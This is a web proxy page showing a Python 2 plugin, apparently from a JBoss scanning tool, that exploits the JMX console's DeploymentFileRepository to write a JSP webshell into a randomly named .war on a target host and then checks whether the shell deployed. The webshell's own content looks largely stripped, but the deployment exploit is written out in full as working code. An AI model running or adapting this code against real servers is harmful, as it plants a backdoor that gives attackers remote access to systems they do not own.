[ Web Proxy ]

URL:

Viewing: https://raw.githubusercontent.com/getcode2git/F-MiddlewareScan/master/plugins/jboss_deploy.py

[Back]  [Original]

---

#coding=utf-8 #author:wolf@future-sec import urllib2 import time import random def random_str(len): str1="" for i in range(len): str1+=(random.choice("ABCDEFGH")) return str1 def run(host,port,timeout,auth): try: url = "http://%s:%d"%(host,int(port)) shell="""

comment:

""" shellcode="" name=random_str(5) for v in shell: shellcode+=hex(ord(v)).replace("0x","%") deploy_url = url + "/jmx-console/HtmlAdaptor" post_data = "action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType="+\ "java.lang.String&arg0=%s.war&argType=java.lang.String&arg1=auto700&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3="%(name)+shellcode+\ "&argType=boolean&arg4=True" request = urllib2.Request(deploy_url,post_data) request.add_header("Authorization",auth) res = urllib2.urlopen(request,timeout=timeout) time.sleep(10) webshell_url = "%s/%s/auto700.jsp"%(url,name) res = urllib2.urlopen(webshell_url,timeout=timeout) if 'comments' in res.read(): info=" Auto deploy success:%s"%(webshell_url) return info except Exception,e: pass

---

Web Proxy Viewer  |  New URL  |  Original Page